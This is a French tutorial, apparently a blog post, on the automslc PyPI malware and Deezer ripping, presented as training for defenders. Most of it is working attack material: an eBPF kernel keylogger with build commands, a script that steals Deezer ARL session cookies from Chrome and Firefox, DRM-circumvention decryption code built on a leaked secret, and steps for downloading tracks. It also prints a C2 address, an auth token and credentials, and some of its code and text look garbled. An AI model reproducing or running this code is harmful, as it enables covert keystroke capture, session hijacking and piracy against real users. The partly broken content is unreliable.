Scénario réaliste : keylogger eBPF furtif, exploitation ARL, décryptage Blowfish legacy, outils concrets (deezspot, lm-deezer-bf-dec) et analyse forensique du package automslc (104k+ downloads)
Théorie, pratique et contre‑mesures pour cyberdéfenseurs
Nous sommes en 2026. Le package malveillant automslc a été téléchargé plus de 104 000 fois avant d'être retiré de PyPI [1]. Ce n'était pas un simple outil de piratage, mais une attaque structurée sur la chaîne d'approvisionnement logicielle, transformant chaque développeur l'installant en un nœud involontaire d'un réseau de téléchargement illégal de musique depuis Deezer [2].
Ce tutoriel vous plonge dans la peau d’un analyste en cybersécurité qui doit comprendre cette attaque de A à Z pour mieux la contrer. Nous combinons ici théorie approfondie et mise en pratique avec des outils réels comme deezspot [3] et lm-deezer-bf-dec [4], afin que vous puissiez valider chaque étape dans votre laboratoire.
automslc (104k+ installs) utilisait des credentials hardcodés (mun87081@cndps.com, asd123a@) + un serveur C2 (54.39.49[.]17:8031) pour ripper Deezer en masse. Il a été retiré de PyPI après alerte de Socket.dev [5]. Ne jamais installer de package musical non audité – c’est souvent un cheval de Troie !
sudo apt update && sudo apt full-upgradepip installés sur la machine d'attaqueLes keyloggers traditionnels hookent les fonctions de l'API Windows ou utilisent SetWindowsHookEx, ce qui est désormais bien détecté. En 2026, la pointe de la furtivité sur Linux consiste à utiliser eBPF (extended Berkeley Packet Filter) pour instrumenter le noyau lui-même [6].
On utilise libbpf pour hooker input_event et capturer les frappes avant qu'elles n'atteignent l'application.
#include
#include
#include
#include
#include "vmlinux.h"
char LICENSE[] SEC("license") = "GPL";
struct key_event_t {
__u64 ts;
__u32 code;
};
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");
SEC("kprobe/input_event")
int trace_input_event(struct pt_regs *ctx) {
__u32 type = PT_REGS_PARM2(ctx);
__u32 code = PT_REGS_PARM3(ctx);
__s32 value = PT_REGS_PARM4(ctx);
if (type == EV_KEY && value == 1) {
struct key_event_t *data;
data = bpf_ringbuf_reserve(&events, sizeof(*data), 0);
if (!data) return 0;
data->ts = bpf_ktime_get_ns();
data->code = code;
bpf_ringbuf_submit(data, 0);
}
return 0;
}
Le programme utilisateur charge ce bytecode et lit les événements.
# Compilation et exécution
clang -O2 -g -target bpf -c program.bpf.c -o program.bpf.o
bpftool gen skeleton program.bpf.o > program.skel.h
gcc -O2 -o keylogger program.c -lbpf
sudo ./keylogger
sysctl kernel.unprivileged_bpf_disabled=1sudo bpftool prog listEn 2026, l'API publique OAuth est quasi‑morte pour les nouveaux apps. Le vrai vecteur d'attaque est le cookie ARL (Access Request License) – une chaîne de 192 caractères stockée dans le navigateur, valable 3 à 6 mois [1].
Le keylogger eBPF capture les frappes, mais on peut aussi voler directement les cookies via un script dédié. Ci‑dessous un exemple d'extraction automatique depuis les bases de données de cookies de Chrome et Firefox (sous Linux).
#!/usr/bin/env python3
# Extraction du cookie ARL Deezer depuis Chrome et Firefox (Linux)
# Utilisation strictement éducative, en laboratoire isolé.
# Ne pas utiliser sur des machines sans autorisation.
import os
import sqlite3
import shutil
import tempfile
def get_chrome_arl():
chrome_path = os.path.expanduser("~/.config/google-chrome/Default/Cookies")
if not os.path.exists(chrome_path):
print("[Chrome] Fichier de cookies introuvable.")
return None
try:
# Copier pour éviter les verrous
tmp = tempfile.NamedTemporaryFile(delete=False)
shutil.copy2(chrome_path, tmp.name)
conn = sqlite3.connect(tmp.name)
cursor = conn.cursor()
cursor.execute("SELECT name, value FROM cookies WHERE host_key LIKE '%deezer.com%' AND name='arl'")
row = cursor.fetchone()
conn.close()
os.unlink(tmp.name)
if row:
return row[1]
except Exception as e:
print(f"[Chrome] Erreur : {e}")
return None
def get_firefox_arl():
firefox_profiles = os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite")
import glob
files = glob.glob(firefox_profiles)
if not files:
print("[Firefox] Aucun profil trouvé.")
return None
cookies_db = files[0]
try:
tmp = tempfile.NamedTemporaryFile(delete=False)
shutil.copy2(cookies_db, tmp.name)
conn = sqlite3.connect(tmp.name)
cursor = conn.cursor()
cursor.execute("SELECT name, value FROM moz_cookies WHERE host LIKE '%deezer.com%' AND name='arl'")
row = cursor.fetchone()
conn.close()
os.unlink(tmp.name)
if row:
return row[1]
except Exception as e:
print(f"[Firefox] Erreur : {e}")
return None
if __name__ == "__main__":
print("=== Extraction du cookie ARL Deezer (Linux) ===")
print("ATTENTION : Utilisez ce script uniquement sur votre propre machine, en laboratoire isolé.")
arl = get_chrome_arl()
if arl:
print(f"\n[Chrome] ARL trouvé : {arl[:20]}... (tronqué)")
else:
arl = get_firefox_arl()
if arl:
print(f"\n[Firefox] ARL trouvé : {arl[:20]}... (tronqué)")
else:
print("\nAucun ARL trouvé. Assurez-vous d'être connecté à Deezer dans le navigateur.")
Ce script illustre comment un malware pourrait extraire l'ARL sans interaction utilisateur. En 2026, les versions récentes de Chrome sous Windows chiffrent les cookies avec DPAPI, rendant l'extraction plus complexe, mais sous Linux ils restent en clair.
deezspotPlutôt que de réinventer la roue, on va utiliser deezspot, un clone actif et maintenu de l'historique deezloader [3]. Il utilise exactement le mécanisme ARL que nous venons de voir.
# 1. Installer deezspot (dans un venv de préférence)
python3 -m venv deezspot-env
source deezspot-env/bin/activate
pip install deezspot
# 2. Exemple de script pour télécharger un morceau
cat > test_deezspot.py << 'EOF'
import sys
import os
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from deezspot.deezloader import DeeLogin
# Remplacez par votre ARL extrait
ARL = "votre_arl_ici"
deezer = DeeLogin(arl=ARL, email='', password='', tags_separator=" / ")
# Téléchargement d'un morceau (exemple : Harder Better Faster Stronger - Daft Punk)
deezer.download_trackdee(
link_track='https://www.deezer.com/track/3135556',
output_dir='./downloads',
quality_download='MP3_128', # Utilisez MP3_320 ou FLAC si vous avez un compte premium
recursive_quality=False,
recursive_download=False
)
EOF
# 3. Exécuter le script
python test_deezspot.py
Ce script, une fois exécuté avec un ARL valide, téléchargera le morceau spécifié. C'est la preuve concrète que l'ARL est la clé du royaume. En analysant le code source de deezspot (disponible sur GitHub), vous verrez exactement les mêmes appels à l'API Deezer que nous avons théorisés.
automslc). Les installer sur votre machine personnelle est un risque majeur.
automslc, le serveur C2 (54.39.49.17:8031) centralisait la liste des morceaux à voler et collectait les métadonnées exfiltrées [2].Contrairement aux hypothèses AES-GCM, Deezer utilise toujours en 2026 du Blowfish en mode CBC avec un secret bien connu des rippers : "g4el58wc0zvf9na1" [8]. Ce secret est un legacy présent dans les anciennes applications et a été reverse‑engineered il y a des années [9]. Le processus inclut une étape XOR finale avec le track_id, et un striping spécifique.
Le code ci-dessous est directement inspiré de travaux de reverse engineering publiés dès 2016 [9]. Il utilise le vecteur d'initialisation (IV) correct : 0001020304050607.
from Crypto.Cipher import Blowfish
import hashlib
import struct
from binascii import a2b_hex
BLOWFISH_SECRET = b"g4el58wc0zvf9na1"
BLOCK_SIZE = 2048
IV = a2b_hex("0001020304050607") # IV correct issu du reverse
def calcbfkey(songid):
"""Calcule la clé Blowfish pour un songid donné (code de 2016) [9]"""
h = hashlib.md5(b"%d" % songid).digest()
key = BLOWFISH_SECRET
# Dans le code original, c'est un XOR entre le hash (32 chars hex) et le secret.
# Version simplifiée :
key_bytes = bytearray(16)
for i in range(16):
key_bytes[i] = h[i] ^ h[i+16] ^ key[i]
return bytes(key_bytes)
def decrypt_deezer_chunk(encrypted_data, track_id):
key = calcbfkey(track_id)
cipher = Blowfish.new(key, Blowfish.MODE_CBC, IV)
decrypted = cipher.decrypt(encrypted_data)
# XOR final avec le track_id (pattern observé)
xor_key = struct.pack(">I", track_id) * (len(decrypted) // 4 + 1)
final = bytes(a ^ b for a, b in zip(decrypted, xor_key))
return final[:len(encrypted_data)]
def decrypt_track_file(encrypted_path, output_path, track_id):
with open(encrypted_path, 'rb') as fin, open(output_path, 'wb') as fout:
block_num = 0
while True:
data = fin.read(BLOCK_SIZE)
if not data:
break
# Pattern legacy Deezer : seuls les blocs où (block_num % 3) == 2 sont chiffrés
# Les autres passent en clair → réduit CPU mais exploitable
if (block_num % 3) == 2:
dec = decrypt_deezer_chunk(data, track_id)
fout.write(dec)
else:
fout.write(data)
block_num += 1
lm-deezer-bf-dec [4], un module Rust conçu pour "accélérer le processus de décryptage Blowfish pour les morceaux Deezer". Cela montre que le DRM n'a pas évolué et que l'optimisation de l'attaque continue.
Le package automslc utilisait des techniques de混淆 avancées pour masquer son vrai comportement. En 2026, deux outils majeurs permettent de percer ces défenses : JSIMPLIFIER (recherche académique, NDSS 2026) et CASCADE (déployé chez Google, utilisant Gemini) [10][11].
automslc (104k+ installs) utilisait des creds hardcodés + C2 pour ripper Deezer en masse. Il a été retiré de PyPI après alerte de Socket.dev [5]. Ne jamais installer de package musical non audité – c’est souvent un cheval de Troie !
Les chercheurs de Qi'anxin ont identifié 20 techniques de混淆 réparties en 4 catégories [10] :
Présenté à la NDSS 2026, JSIMPLIFIER atteint 100% de taux de réussite sur 20 techniques de混淆 et réduit la complexité du code de 88.2% [10].
# Installation (recherche uniquement, code non public)
git clone https://github.com/qianxin/jsimplifier
cd jsimplifier
npm install
# Analyse d'un fichier obfusqué
./jsimplifier --input obfuscated_automslc.js --output clear.js
# Le tool fait automatiquement :
# - Preprocessing (réparation des encodages cassés)
# - Static AST analysis (évaluation des expressions constantes)
# - Dynamic execution sandboxée (récupération des strings runtime)
# - LLM renaming (renommage intelligent des variables)
Sur l'échantillon JSFireTruck, JSIMPLIFIER a transformé du code illisible en une structure claire avec des noms de variables compréhensibles [10].
CASCADE combine Gemini (LLM) avec un Intermediate Representation (JSIR) pour désobfusquer à l'échelle de Google [11].
# Exemple de prompt CASCADE (conceptuel)
"Identify all prelude functions in this Obfuscator.io protected code
and replace them with their evaluated string constants."
# Résultat : les chaînes obfusquées comme _0x4f2a['toString'] sont remplacées
# par leurs valeurs réelles (ex: "chrome.cookies")
CASCADE est déployé en production chez Google et a éliminé le besoin de plus de 100 règles de pattern matching [11].
Voici à quoi pourrait ressembler le code désobfusqué du package malveillant [2] :
# Avant (obfusqué)
var _0x4f2a = ['54.39.49.17', '8031', 'Token bb1131f893f9...'];
(function(_0x1a2b) {
var _0x3c4d = function(_0x5e6f) {
while (--_0x5e6f) {
_0x1a2b['push'](_0x1a2b['shift']());
}
};
_0x3c4d(++_0x5e6f);
}(_0x4f2a));
# Après JSIMPLIFIER + CASCADE
const C2_SERVER = "54.39.49.17";
const C2_PORT = 8031;
const AUTH_TOKEN = "Token bb1131f893f91f1bf5461285b26c0b622d21a37e";
function fetchTasks() {
return requests.get(`http://${C2_SERVER}:${C2_PORT}/api/tracks/?status=0`).json();
}
L'incident automslc illustre les défis posés par le Digital Services Act (DSA) et l'Article 17 de la Directive Copyright [12].
Surveiller les programmes eBPF avec Tetragon ou Tracee [6].
Rotation rapide, liaison matérielle, détection d'abus.
Migrer vers AES-GCM avec clés dynamiques [8].
Socket.dev, pip-audit pour détecter les supply‑chain attacks [5].
rule automslc_detector {
meta:
description = "Détecte les patterns du package automslc"
author = "PCTAMALOU 2026"
reference = "Socket.dev analysis 2025"
strings:
$c2 = "54.39.49.17" ascii nocase
$token = "Token bb1131f893f91f1bf5461285b26c0b622d21a37e" ascii
$arl_pattern = "arl=" ascii wide
$secret = "g4el58wc0zvf9na1" ascii
$creds1 = "mun87081@cndps.com" ascii
$creds2 = "asd123a@" ascii
condition:
any of them
}
# Surveiller les connexions sortantes vers le C2 connu
sudo tcpdump -i eth0 host 54.39.49.17
# Lister les programmes eBPF chargés
sudo bpftool prog list
# Analyser un package Python suspect
pip-audit --file requirements.txt
socket scan package automslc
Implémentez le keylogger eBPF décrit en Phase 1. Compilez-le et exécutez-le sur votre VM Ubuntu. Vérifiez avec bpftool prog list qu'il est bien chargé.
Cet exercice vous permettra de constater par vous-même que l'ARL est la clé.
python3 -m venv deezspot-test
source deezspot-test/bin/activate
pip install deezspot
./downloads.mediainfo ou un lecteur audio. Vous avez téléchargé un morceau complet. Félicitations, vous venez de reproduire l'étape clé d'une attaque Stream Ripper.Note : Si vous n'avez pas de compte premium, la qualité sera limitée à 128 kbps, mais le principe est le même.
Téléchargez un flux chiffré (en lab) et appliquez l'algo de décryptage pour obtenir un MP3 lisible. Vous pouvez générer un échantillon avec un outil comme ffmpeg et le chiffrer vous‑même pour tester. Comparez avec l'utilisation de lm-deezer-bf-dec [4] si vous souhaitez voir une implémentation optimisée.
Récupérez un échantillon obfusqué de la campagne JSFireTruck (disponible en ligne) et passez‑le dans JSIMPLIFIER (ou simulez avec un outil comme de4js). Observez la transformation [10].
Rappel : Tous ces exercices doivent être réalisés dans un environnement isolé, sans connexion à Internet réelle, et avec des données de test. N'utilisez jamais vos comptes personnels ni ceux d'autrui.
L'affaire automslc et les outils comme deezspot et lm-deezer-bf-dec nous enseignent que la sécurité est une chaîne : le maillon le plus faible reste l'utilisateur et ses identifiants [2][3]. En 2026, les attaquants combinent keylogger noyau (eBPF), hijacking de session (ARL) et contournement de DRM (Blowfish legacy) pour mener des opérations de piratage à grande échelle. La bonne nouvelle, c'est que ces techniques sont désormais connues et que des contre‑mesures existent.
La formation des développeurs, l'audit systématique des dépendances et la mise en place de défenses en profondeur (durcissement du noyau, rotation des secrets, détection comportementale) restent les piliers d'une cyberdéfense efficace.